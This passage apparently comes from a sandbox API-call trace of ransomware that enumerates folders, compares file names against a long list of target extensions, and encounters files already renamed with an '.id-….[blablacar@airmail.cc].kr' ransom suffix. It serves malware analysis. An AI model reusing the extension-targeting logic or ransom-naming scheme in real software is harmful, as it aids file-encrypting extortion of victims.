lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".fxg") returned 4 [0082.331] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".geo") returned 4 [0082.331] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".gif") returned 4 [0082.331] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".grs") returned 4 [0082.331] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".gz") returned 3 [0082.331] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0082.332] lstrlenW (lpString=".h") returned 2 [0082.332] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0082.332] lstrlenW (lpString=".hdr") returned 4 [0082.332] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".hpp") returned 4 [0082.332] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".hta") returned 4 [0082.332] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".htc") returned 4 [0082.332] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".htm") returned 4 [0082.332] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".html") returned 5 [0082.332] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0082.332] lstrlenW (lpString=".icb") returned 4 [0082.332] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".ics") returned 4 [0082.332] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".iff") returned 4 [0082.332] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".inc") returned 4 [0082.332] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".indd") returned 5 [0082.332] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0082.332] lstrlenW (lpString=".ini") returned 4 [0082.332] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".iqy") returned 4 [0082.332] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".j2c") returned 4 [0082.332] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".j2k") returned 4 [0082.332] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0082.332] lstrlenW (lpString=".java") returned 5 [0082.333] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0082.333] lstrlenW (lpString=".jp2") returned 4 [0082.333] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".jpc") returned 4 [0082.333] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".jpe") returned 4 [0082.333] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".jpeg") returned 5 [0082.333] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0082.333] lstrlenW (lpString=".jpf") returned 4 [0082.333] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".jpg") returned 4 [0082.333] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".jpx") returned 4 [0082.333] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".js") returned 3 [0082.333] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0082.333] lstrlenW (lpString=".jsf") returned 4 [0082.333] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".json") returned 5 [0082.333] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0082.333] lstrlenW (lpString=".jsp") returned 4 [0082.333] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".kdc") returned 4 [0082.333] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".kmz") returned 4 [0082.333] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0082.333] lstrlenW (lpString=".kwm") returned 4 [0082.334] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".lasso") returned 6 [0082.334] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0082.334] lstrlenW (lpString=".lbi") returned 4 [0082.334] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".lgf") returned 4 [0082.334] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".lgp") returned 4 [0082.334] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".log") returned 4 [0082.334] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".m1v") returned 4 [0082.334] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".m4a") returned 4 [0082.334] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".m4v") returned 4 [0082.334] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".max") returned 4 [0082.334] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".md") returned 3 [0082.334] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0082.334] lstrlenW (lpString=".mda") returned 4 [0082.334] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".mdb") returned 4 [0082.334] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0082.334] lstrlenW (lpString=".mde") returned 4 [0082.335] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mdf") returned 4 [0082.335] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mdw") returned 4 [0082.335] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mef") returned 4 [0082.335] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mft") returned 4 [0082.335] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mfw") returned 4 [0082.335] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mht") returned 4 [0082.335] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mhtml") returned 6 [0082.335] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0082.335] lstrlenW (lpString=".mka") returned 4 [0082.335] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mkidx") returned 6 [0082.335] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0082.335] lstrlenW (lpString=".mkv") returned 4 [0082.335] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mos") returned 4 [0082.335] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mov") returned 4 [0082.335] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0082.335] lstrlenW (lpString=".mp3") returned 4 [0082.335] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".mp4") returned 4 [0082.336] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".mpeg") returned 5 [0082.336] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0082.336] lstrlenW (lpString=".mpg") returned 4 [0082.336] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".mpv") returned 4 [0082.336] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".mrw") returned 4 [0082.336] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".msg") returned 4 [0082.336] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".mxl") returned 4 [0082.336] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".myd") returned 4 [0082.336] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".myi") returned 4 [0082.336] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".nef") returned 4 [0082.336] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".nrw") returned 4 [0082.336] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".obj") returned 4 [0082.336] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".odb") returned 4 [0082.336] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0082.336] lstrlenW (lpString=".odc") returned 4 [0082.337] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".odm") returned 4 [0082.337] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".odp") returned 4 [0082.337] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".ods") returned 4 [0082.337] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".oft") returned 4 [0082.337] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".one") returned 4 [0082.337] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".onepkg") returned 7 [0082.337] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0082.337] lstrlenW (lpString=".onetoc2") returned 8 [0082.337] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0082.337] lstrlenW (lpString=".opt") returned 4 [0082.337] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".oqy") returned 4 [0082.337] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".orf") returned 4 [0082.337] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".p12") returned 4 [0082.337] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".p7b") returned 4 [0082.337] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0082.337] lstrlenW (lpString=".p7c") returned 4 [0082.338] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pam") returned 4 [0082.338] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pbm") returned 4 [0082.338] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pct") returned 4 [0082.338] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pcx") returned 4 [0082.338] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pdd") returned 4 [0082.338] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pdf") returned 4 [0082.338] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pdp") returned 4 [0082.338] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pef") returned 4 [0082.338] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pem") returned 4 [0082.338] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pff") returned 4 [0082.338] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pfm") returned 4 [0082.338] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pfx") returned 4 [0082.338] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0082.338] lstrlenW (lpString=".pgm") returned 4 [0082.339] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0082.339] lstrlenW (lpString=".php") returned 4 [0082.339] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0082.339] lstrlenW (lpString=".php3") returned 5 [0082.339] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0082.339] lstrlenW (lpString=".php4") returned 5 [0082.339] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0082.339] lstrlenW (lpString=".php5") returned 5 [0082.339] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0082.339] lstrlenW (lpString=".phtml") returned 6 [0082.339] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0082.339] lstrlenW (lpString=".pict") returned 5 [0082.339] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0082.339] lstrlenW (lpString=".pl") returned 3 [0082.339] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0082.339] lstrlenW (lpString=".pls") returned 4 [0082.339] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0082.339] lstrlenW (lpString=".pm") returned 3 [0082.339] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0082.339] lstrlenW (lpString=".png") returned 4 [0082.339] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0082.339] lstrlenW (lpString=".pnm") returned 4 [0082.339] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0082.339] lstrlenW (lpString=".pot") returned 4 [0082.339] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0082.339] lstrlenW (lpString=".potm") returned 5 [0082.340] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0082.340] lstrlenW (lpString=".potx") returned 5 [0082.340] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0082.340] lstrlenW (lpString=".ppa") returned 4 [0082.340] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0082.340] lstrlenW (lpString=".ppam") returned 5 [0082.340] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0082.340] lstrlenW (lpString=".ppm") returned 4 [0082.340] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0082.340] lstrlenW (lpString=".pps") returned 4 [0082.340] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0082.340] lstrlenW (lpString=".ppsm") returned 5 [0082.340] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0082.340] lstrlenW (lpString=".ppt") returned 4 [0082.340] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0082.340] lstrlenW (lpString=".pptm") returned 5 [0082.340] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0082.340] lstrlenW (lpString=".pptx") returned 5 [0082.340] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0082.340] lstrlenW (lpString=".prn") returned 4 [0082.340] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0082.340] lstrlenW (lpString=".ps") returned 3 [0082.340] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0082.340] lstrlenW (lpString=".psb") returned 4 [0082.340] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0082.340] lstrlenW (lpString=".psd") returned 4 [0082.340] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".pst") returned 4 [0082.341] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".ptx") returned 4 [0082.341] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".pub") returned 4 [0082.341] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".pwm") returned 4 [0082.341] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".pxr") returned 4 [0082.341] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".py") returned 3 [0082.341] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0082.341] lstrlenW (lpString=".qt") returned 3 [0082.341] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0082.341] lstrlenW (lpString=".r3d") returned 4 [0082.341] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0082.341] lstrlenW (lpString=".raf") returned 4 [0082.341] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0082.342] lstrlenW (lpString=".rar") returned 4 [0082.342] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0082.342] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3f3f362, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0082.342] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0082.342] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0082.342] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0082.342] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0082.342] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0082.342] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0082.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0082.343] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260210 [0082.343] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.343] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3e33e85, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3e33e85, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3e33e85, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0082.343] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0082.343] lstrlenW (lpString=".1cd") returned 4 [0082.343] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0082.343] lstrlenW (lpString=".3ds") returned 4 [0082.343] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0082.343] lstrlenW (lpString=".3fr") returned 4 [0082.343] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0082.343] lstrlenW (lpString=".3g2") returned 4 [0082.343] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0082.343] lstrlenW (lpString=".3gp") returned 4 [0082.343] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0082.343] lstrlenW (lpString=".7z") returned 3 [0082.343] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0082.343] lstrlenW (lpString=".accda") returned 6 [0082.343] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0082.343] lstrlenW (lpString=".accdb") returned 6 [0082.343] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0082.343] lstrlenW (lpString=".accdc") returned 6 [0082.343] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0082.343] lstrlenW (lpString=".accde") returned 6 [0082.343] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0082.344] lstrlenW (lpString=".accdt") returned 6 [0082.344] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0082.344] lstrlenW (lpString=".accdw") returned 6 [0082.344] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0082.344] lstrlenW (lpString=".adb") returned 4 [0082.344] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".adp") returned 4 [0082.344] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ai") returned 3 [0082.344] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0082.344] lstrlenW (lpString=".ai3") returned 4 [0082.344] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ai4") returned 4 [0082.344] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ai5") returned 4 [0082.344] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ai6") returned 4 [0082.344] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ai7") returned 4 [0082.344] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ai8") returned 4 [0082.344] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".anim") returned 5 [0082.344] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0082.344] lstrlenW (lpString=".arw") returned 4 [0082.344] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".as") returned 3 [0082.344] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0082.344] lstrlenW (lpString=".asa") returned 4 [0082.344] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".asc") returned 4 [0082.344] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0082.344] lstrlenW (lpString=".ascx") returned 5 [0082.345] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0082.345] lstrlenW (lpString=".asm") returned 4 [0082.345] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".asmx") returned 5 [0082.345] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0082.345] lstrlenW (lpString=".asp") returned 4 [0082.345] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".aspx") returned 5 [0082.345] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0082.345] lstrlenW (lpString=".asr") returned 4 [0082.345] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".asx") returned 4 [0082.345] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".avi") returned 4 [0082.345] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".avs") returned 4 [0082.345] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".backup") returned 7 [0082.345] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0082.345] lstrlenW (lpString=".bak") returned 4 [0082.345] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".bay") returned 4 [0082.345] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".bd") returned 3 [0082.345] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0082.345] lstrlenW (lpString=".bin") returned 4 [0082.345] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".bmp") returned 4 [0082.345] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".bz2") returned 4 [0082.345] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0082.345] lstrlenW (lpString=".c") returned 2 [0082.345] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0082.345] lstrlenW (lpString=".cdr") returned 4 [0082.346] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cer") returned 4 [0082.346] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cf") returned 3 [0082.346] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0082.346] lstrlenW (lpString=".cfc") returned 4 [0082.346] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cfm") returned 4 [0082.346] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cfml") returned 5 [0082.346] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0082.346] lstrlenW (lpString=".cfu") returned 4 [0082.346] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".chm") returned 4 [0082.346] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cin") returned 4 [0082.346] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".class") returned 6 [0082.346] lstrcmpiW 